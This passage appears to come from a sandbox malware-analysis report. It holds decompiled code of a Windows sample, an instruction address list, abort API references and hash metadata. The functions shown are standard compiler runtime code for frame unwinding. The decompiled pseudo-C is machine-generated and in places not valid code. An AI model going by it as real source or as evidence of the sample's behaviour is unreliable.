											 *((intOrPtr*)(_a4 + 4 + __edx * 8)) = 0;
										}
										goto L15;
									} else {
										if(__al > 0x2f) {
											L128:
											abort();
											L004476B0();
											abort();
											abort();
											abort();
											abort();
											abort();
											L004476B0();
											L004476B0();
											abort();
											abort();
											abort();
											abort();
											abort();
											abort();
											_push(_t173);
											_push(_t175);
											_t182 = _t180 - 0x1c;
											 *_t182 = "libgcc_s_dw2-1.dll";
											_t163 = GetModuleHandleA(_t169);
											_t183 = _t182 - 4;
											if(_t163 == 0) {
												 *0x4ce004 = 0x43c7d0;
												_t176 = 0x43c580;
											} else {
												_t170 = _t163;
												 *_t183 = "libgcc_s_dw2-1.dll";
												_t166 = LoadLibraryA(??);
												_t185 = _t183 - 4;
												 *0x57ddf0 = _t166;
												_v116 = "__register_frame_info";
												 *_t185 = _t170;
												_t167 = GetProcAddress(??, ??);
												_t186 = _t185 - 8;
												_t176 = _t167;
												_v116 = "__deregister_frame_info";
												 *_t186 = _t170;
												 *0x4ce004 = GetProcAddress(??, ??);
												_t183 = _t186 - 8;
											}
											if(_t176 != 0) {
												_v116 = 0x57d01c;
												 *_t183 = 0x5400f8;
												 *_t176();
											}
											 *_t183 = E00401590;
											return E004014C0();
										} else {
											switch( *((intOrPtr*)(__eax * 4 +  &M00538CF0))) {
												case 0:
													L14:
													__esi = __ebx;
													goto L15;
												case 1:
													__eax = _a4;
													__edx = _v56;
													_t45 = __eax + 0xb8; // 0x1e8bfce6
													__esi =  *_t45 & 0x000000ff;
													__eax = __esi;
													__eax = E00438E40(__esi, __ecx, _v56);
													__edx =  &_v32;
													__ecx = __ebx;
													 *__esp =  &_v32;
													__edx = __eax;
													__eax = __esi;
													__eax = E00438D00(__esi, __ebx, __edx);
													__edi = _a4;
													__esi = __eax;
													__eax = _v32;
													 *(_a4 + 0xa4) = _v32;
													goto L15;
												case 2:
													__edi = _a4;
													__eax =  *(__esi + 1) & 0x000000ff;
													__esi = __esi + 2;
													_t52 = 0xb0 + __edi; // 0x8b03c683
													__eax = __eax *  *_t52;
													 *(_a4 + 0xa4) = __eax;
													goto L15;
												case 3:
													__edi = _a4;
													__eax =  *(__esi + 1) & 0x0000ffff;
													__esi = __esi + 3;
													_t56 = 0xb0 + __edi; // 0x8b03c683
													__eax = __eax *  *_t56;
													 *(_a4 + 0xa4) = __eax;
													goto L15;
												case 4:
													__eax = _a4;
													__edi = _a4;
													__esi = __esi + 5;
													_t60 = __eax + 0xb0; // 0x8b03c683
													 *_t60 =  *_t60 *  *(__esi - 4);
													__eax =  *_t60 *  *(__esi - 4) + __edx;
													 *(_a4 + 0xa4) =  *_t60 *  *(__esi - 4) + __edx;
													goto L15;
												case 5:
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													goto L36;
												case 6:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													goto L40;
												case 7:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													if(__esi > 0x11) {
														goto L14;
													} else {
														__eax = _a4;
														 *((intOrPtr*)(_a4 + 4 + __esi * 8)) = 6;
														__esi = __ebx;
													}
													goto L15;
												case 8:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													L40:
													if(__esi > 0x11) {
														goto L14;
													} else {
														__eax = _a4;
														 *((intOrPtr*)(_a4 + 4 + __esi * 8)) = 0;
														__esi = __ebx;
													}
													goto L15;
												case 9:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													if(__esi > 0x11) {
														goto L14;
													} else {
														__eax = _a4;
														__eax = _a4 + __esi * 8;
														__esi = __ebx;
														 *(__eax + 4) = 2;
														 *__eax = __edi;
													}
													goto L15;
												case 0xa:
													__esi = _v60;
													__eax = __esi;
													if(__esi == 0) {
														__eax = 0xb0;
														__esp = __esp - E004386A0(0xb0);
														__eax =  &_v57;
														__eax =  &_v57 & 0xfffffff0;
													} else {
														_v60 = __esi;
													}
													__ecx = 0x29;
													__edi = __eax;
													__esi = _a4;
													__eax = memcpy(__eax, __esi, 0x29 << 2);
													__esi + __ecx = __esi + __ecx + __ecx;
													__ecx = 0;
													__esi = _a4;
													 *(_a4 + 0x90) = __eax;
													__esi = __ebx;
													goto L15;
												case 0xb:
													__eax = _a4;
													__ecx = 0x29;
													__edi = _a4;
													_t96 = __eax + 0x90; // 0x74450f10
													__eax =  *_t96;
													__esi =  *_t96;
													__eax = memcpy(_a4, __esi, 0x29 << 2);
													__esi + __ecx = __esi + __ecx + __ecx;
													__ecx = 0;
													__esi = _v60;
													_v60 = __eax;
													 *(__eax + 0x90) = _v60;
													__esi = __ebx;
													goto L15;
												case 0xc:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													__ecx = 0;
													 *(_a4 + 0x98) = __esi;
													__esi = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													 *(__eax + 0x94) = __esi;
													__esi = __ebx;
													 *(__eax + 0xa0) = 1;
													goto L15;
												case 0xd:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													 *(__eax + 0x98) = __esi;
													__esi = __ebx;
													 *(__eax + 0xa0) = 1;
													goto L15;
												case 0xe:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													 *(_a4 + 0x94) = __esi;
													__esi = __ebx;
													goto L15;
												case 0xf:
													__eax = _a4;
													__esi = 0;
													__ecx = 0;
													 *(__eax + 0x9c) = __ebx;
													 *(__eax + 0xa0) = 2;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = __esi + __ebx;
													goto L15;
												case 0x10:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													if(__esi <= 0x11) {
														__eax = _a4;
														__eax = _a4 + __esi * 8;
														 *(__eax + 4) = 3;
														 *__eax = __ebx;
													}
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = __esi + __ebx;
													goto L15;
												case 0x11:
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | (__edx & 0x0000007f) << __cl;
													} while (__dl < 0);
													if(__ecx <= 0x1f && __edx != 0) {
														1 = 1 << __cl;
														__eax =  ~(1 << __cl);
														__esi = __esi |  ~(1 << __cl);
													}
													L36:
													__eax = _a4;
													_t66 = __eax + 0xac; // 0x26748d
													__esi = __esi *  *_t66;
													if(__edi > 0x11) {
														goto L14;
													} else {
														__eax = __eax + __edi * 8;
														 *__eax = __esi;
														__esi = __ebx;
														 *(__eax + 4) = 1;
													}
													goto L15;
												case 0x12:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													__ecx = 0;
													 *(_a4 + 0x98) = __esi;
													__esi = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | (__edx & 0x0000007f) << __cl;
													} while (__dl < 0);
													if(__ecx <= 0x1f && __edx != 0) {
														1 = 1 << __cl;
														__eax =  ~(1 << __cl);
														__esi = __esi |  ~(1 << __cl);
													}
													__eax = _a4;
													__esi = __esi *  *(__eax + 0xac);
													 *(__eax + 0xa0) = 1;
													 *(__eax + 0x94) = __esi;
													__esi = __ebx;
													goto L15;
												case 0x13:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | (__edx & 0x0000007f) << __cl;
													} while (__dl < 0);
													if(__ecx <= 0x1f && __edx != 0) {
														1 = 1 << __cl;
														__eax =  ~(1 << __cl);
														__esi = __esi |  ~(1 << __cl);
													}
													__eax = _a4;
													 *(__eax + 0x94) = __esi;
													__esi = __ebx;
													goto L15;
												case 0x14:
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													goto L105;
												case 0x15:
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | (__edx & 0x0000007f) << __cl;
													} while (__dl < 0);
													if(__ecx <= 0x1f && __edx != 0) {
														1 = 1 << __cl;
														__eax =  ~(1 << __cl);
														__esi = __esi |  ~(1 << __cl);
													}
													L105:
													__eax = _a4;
													__esi = __esi *  *(__eax + 0xac);
													if(__edi > 0x11) {
														goto L14;
													} else {
														__eax = __eax + __edi * 8;
														 *__eax = __esi;
														__esi = __ebx;
														 *(__eax + 4) = 4;
													}
													goto L15;
												case 0x16:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													if(__esi <= 0x11) {
														__eax = _a4;
														__eax = _a4 + __esi * 8;
														 *(__eax + 4) = 5;
														 *__eax = __ebx;
													}
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = __esi + __ebx;
													goto L15;
												case 0x17:
													goto L128;
												case 0x18:
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _v56;
													 *(_v56 + 0x68) = __esi;
													__esi = __ebx;
													goto L15;
												case 0x19:
													__edi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__esi = 0;
													__ecx = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													} while (__dl < 0);
													__eax = _a4;
													__esi = __esi *  *(__eax + 0xac);
													if(__edi > 0x11) {
														goto L14;
													} else {
														__eax = __eax + __edi * 8;
														 *__eax = __esi;
														__esi = __ebx;
														 *(__eax + 4) = 1;
													}
													L15:
													if(_v52 <= __esi) {
														goto L17;
													} else {
														goto L16;
													}
													goto L141;
											}
										}
									}
								}
							}
							goto L141;
							L16:
							__eax = _a4;
							__edi = _v56;
							_t20 = __eax + 0xa4; // 0x5bd0891c
							__edx =  *_t20;
							__eax =  *(__edi + 0x60);
							_v48 = __eax;
							__eax = __eax >> 0x1f;
						} while (__edx < __eax);
					}
					goto L17;
				}
				L141:
			}

0x00438e80
0x00438e85
0x00438e88
0x00438e8b
0x00438e8e
0x00438e91
0x00438e94
0x00438ea0
0x00438f13
0x00438f1a
0x00438ea2
0x00438ea2
0x00438ea5
0x00438eab
0x00438eae
0x00438eb6
0x00438eb8
0x00438ec0
0x00438ec0
0x00438ec3
0x00438ec3
0x00438ec6
0x00438ec8
0x00438ece
0x00438f20
0x00438f23
0x00438f26
0x00438f28
0x00438f31
0x00000000
0x00438ed0
0x00438ed3
0x00438f60
0x00438f63
0x00438f65
0x00438f67
0x00438f6a
0x00438f6d
0x00438f70
0x00438f70
0x00438f73
0x00438f79
0x00438f7c
0x00438f7e
0x00438f81
0x00438f83
0x00438f87
0x00438f8a
0x00438f93
0x00438f99
0x00438f9b
0x00438f9e
0x00438fa1
0x00438fa8
0x00438fa8
0x00000000
0x00438ed9
0x00438edc
0x00438f40
0x00438f43
0x00438f48
0x00000000
0x00438f4a
0x00438f4a
0x00438f4d
0x00438f4f
0x00438f4f
0x00000000
0x00438ede
0x00438ee0
0x004c5e61
0x004c5e61
0x004c5e66
0x004c5e6b
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00438ee6
0x00438ee6
0x00000000
0x00438ef0
0x00438ef0
0x00000000
0x00000000
0x00438fe0
0x00438fe3
0x00438fe6
0x00438fe6
0x00438fed
0x00438fef
0x00438ff4
0x00438ff7
0x00438ff9
0x00438ffc
0x00438ffe
0x00439000
0x00439005
0x00439008
0x0043900a
0x0043900d
0x00000000
0x00000000
0x00439020
0x00439023
0x00439027
0x0043902a
0x0043902a
0x00439033
0x00000000
0x00000000
0x00439040
0x00439043
0x00439047
0x0043904a
0x0043904a
0x00439053
0x00000000
0x00000000
0x00439060
0x00439063
0x00439066
0x00439069
0x0043906f
0x00439073
0x00439075
0x00000000
0x00000000
0x00439080
0x00439082
0x00439084
0x00439084
0x00439087
0x0043908d
0x00439090
0x00439092
0x00439095
0x00439097
0x0043909b
0x0043909d
0x004390a0
0x004390a0
0x004390a3
0x004390a9
0x004390ac
0x004390ae
0x004390b1
0x004390b3
0x00000000
0x00000000
0x004390e0
0x004390e2
0x004390e4
0x004390e4
0x004390e7
0x004390ed
0x004390f0
0x004390f2
0x004390f5
0x004390f7
0x00000000
0x00000000
0x00439120
0x00439122
0x00439124
0x00439124
0x00439127
0x0043912d
0x00439130
0x00439132
0x00439135
0x00439137
0x0043913e
0x00000000
0x00439144
0x00439144
0x00439147
0x0043914f
0x0043914f
0x00000000
0x00000000
0x00439160
0x00439162
0x00439164
0x00439164
0x00439167
0x0043916d
0x00439170
0x00439172
0x00439175
0x00439177
0x004390fb
0x004390fe
0x00000000
0x00439104
0x00439104
0x00439107
0x0043910f
0x0043910f
0x00000000
0x00000000
0x00439180
0x00439182
0x00439184
0x00439184
0x00439187
0x0043918d
0x00439190
0x00439192
0x00439195
0x00439197
0x0043919b
0x0043919d
0x004391a0
0x004391a0
0x004391a3
0x004391a9
0x004391ac
0x004391ae
0x004391b1
0x004391b3
0x004391ba
0x00000000
0x004391c0
0x004391c0
0x004391c3
0x004391c6
0x004391c8
0x004391cf
0x004391cf
0x00000000
0x00000000
0x004391e0
0x004391e3
0x004391e7
0x00439639
0x00439643
0x00439645
0x00439649
0x004391ed
0x004391f3
0x004391f3
0x004391f6
0x004391fb
0x004391fd
0x00439200
0x00439200
0x00439200
0x00439202
0x00439205
0x0043920b
0x00000000
0x00000000
0x00439212
0x00439215
0x0043921a
0x0043921d
0x0043921d
0x00439223
0x00439225
0x00439225
0x00439225
0x00439227
0x0043922a
0x0043922d
0x00439233
0x00000000
0x00000000
0x00439240
0x00439242
0x00439244
0x00439244
0x00439247
0x0043924d
0x00439250
0x00439252
0x00439255
0x00439257
0x0043925b
0x0043925e
0x00439260
0x00439266
0x00439270
0x00439270
0x00439273
0x00439279
0x0043927c
0x0043927e
0x00439281
0x00439283
0x00439287
0x0043928a
0x00439290
0x00439292
0x00000000
0x00000000
0x004392a1
0x004392a3
0x004392a5
0x004392a5
0x004392a8
0x004392ae
0x004392b1
0x004392b3
0x004392b6
0x004392b8
0x004392bc
0x004392bf
0x004392c5
0x004392c7
0x00000000
0x00000000
0x004392e0
0x004392e2
0x004392e4
0x004392e4
0x004392e7
0x004392ed
0x004392f0
0x004392f2
0x004392f5
0x004392f7
0x004392fb
0x004392fe
0x00439304
0x00000000
0x00000000
0x00439310
0x00439313
0x00439315
0x00439317
0x0043931d
0x00439330
0x00439330
0x00439333
0x00439339
0x0043933c
0x0043933e
0x00439341
0x00439343
0x00439347
0x00000000
0x00000000
0x00439350
0x00439352
0x00439354
0x00439354
0x00439357
0x0043935d
0x00439360
0x00439362
0x00439365
0x00439367
0x0043936e
0x00439370
0x00439373
0x00439376
0x0043937d
0x0043937d
0x0043937f
0x00439381
0x00439383
0x00439383
0x00439386
0x0043938c
0x0043938f
0x00439391
0x00439394
0x00439396
0x0043939a
0x00000000
0x00000000
0x004393a1
0x004393a3
0x004393a5
0x004393a5
0x004393a8
0x004393ae
0x004393b1
0x004393b3
0x004393b6
0x004393b8
0x004393bc
0x004393be
0x004393c0
0x004393c0
0x004393c3
0x004393c9
0x004393cc
0x004393ce
0x004393d1
0x004393d3
0x004393da
0x004393ee
0x004393f0
0x004393f2
0x004393f2
0x004390b7
0x004390b7
0x004390ba
0x004390ba
0x004390c4
0x00000000
0x004390ca
0x004390ca
0x004390cd
0x004390cf
0x004390d1
0x004390d1
0x00000000
0x00000000
0x00439400
0x00439402
0x00439404
0x00439404
0x00439407
0x0043940d
0x00439410
0x00439412
0x00439415
0x00439417
0x0043941b
0x0043941e
0x00439420
0x00439426
0x00439430
0x00439430
0x00439433
0x00439439
0x0043943c
0x0043943e
0x00439441
0x00439443
0x0043944a
0x00439456
0x00439458
0x0043945a
0x0043945a
0x0043945c
0x0043945f
0x00439466
0x00439470
0x00439476
0x00000000
0x00000000
0x00439480
0x00439482
0x00439484
0x00439484
0x00439487
0x0043948d
0x00439490
0x00439492
0x00439495
0x00439497
0x0043949e
0x004394aa
0x004394ac
0x004394ae
0x004394ae
0x004394b0
0x004394ba
0x004394c0
0x00000000
0x00000000
0x004394d0
0x004394d2
0x004394d4
0x004394d4
0x004394d7
0x004394dd
0x004394e0
0x004394e2
0x004394e5
0x004394e7
0x004394eb
0x004394ed
0x004394f0
0x004394f0
0x004394f3
0x004394f9
0x004394fc
0x004394fe
0x00439501
0x00439503
0x00000000
0x00000000
0x004395e0
0x004395e2
0x004395e4
0x004395e4
0x004395e7
0x004395ed
0x004395f0
0x004395f2
0x004395f5
0x004395f7
0x004395fb
0x004395fd
0x00439600
0x00439600
0x00439603
0x00439609
0x0043960c
0x0043960e
0x00439611
0x00439613
0x0043961a
0x0043962e
0x00439630
0x00439632
0x00439632
0x00439507
0x00439507
0x0043950a
0x00439514
0x00000000
0x0043951a
0x0043951a
0x0043951d
0x0043951f
0x00439521
0x00439521
0x00000000
0x00000000
0x00439530
0x00439532
0x00439534
0x00439534
0x00439537
0x0043953d
0x00439540
0x00439542
0x00439545
0x00439547
0x0043954e
0x00439550
0x00439553
0x00439556
0x0043955d
0x0043955d
0x0043955f
0x00439561
0x00439563
0x00439563
0x00439566
0x0043956c
0x0043956f
0x00439571
0x00439574
0x00439576
0x0043957a
0x00000000
0x00000000
0x00000000
0x00000000
0x00438fb0
0x00438fb2
0x00438fb4
0x00438fb4
0x00438fb7
0x00438fbd
0x00438fc0
0x00438fc2
0x00438fc5
0x00438fc7
0x00438fcb
0x00438fce
0x00438fd1
0x00000000
0x00000000
0x00439581
0x00439583
0x00439585
0x00439585
0x00439588
0x0043958e
0x00439591
0x00439593
0x00439596
0x00439598
0x0043959c
0x0043959e
0x004395a0
0x004395a0
0x004395a3
0x004395a9
0x004395ac
0x004395ae
0x004395b1
0x004395b3
0x004395b7
0x004395ba
0x004395c4
0x00000000
0x004395ca
0x004395ca
0x004395cf
0x004395d1
0x004395d3
0x004395d3
0x00438ef2
0x00438ef5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00438ee6
0x00438ee0
0x00438edc
0x00438ed3
0x00000000
0x00438ef7
0x00438ef7
0x00438efa
0x00438efd
0x00438efd
0x00438f03
0x00438f06
0x00438f09
0x00438f0f
0x00438ec0
0x00000000
0x00438eb6
0x00000000

APIs

abort.MSVCRT ref: 004C5E61
abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1de714563d982e75be7a3262a6b0c6b6cc0e8e287b7f68984a60ac95d6037da0
Instruction ID: 516f961a7df646d18780048388c59b7070e43a1c3c759b9d7972609ad8b9457a
Opcode Fuzzy Hash: 1de714563d982e75be7a3262a6b0c6b6cc0e8e287b7f68984a60ac95d6037da0
Instruction Fuzzy Hash: 8EB1F372A047349FD7048F28C482799FBE2AB49354F0A816AFC58DB342C77DED019B88

Uniqueness

Uniqueness Score: -1.00%

Function 0043ECC0 Relevance: 19.1, APIs: 7, Strings: 3, Instructions: 1576stringCOMMON

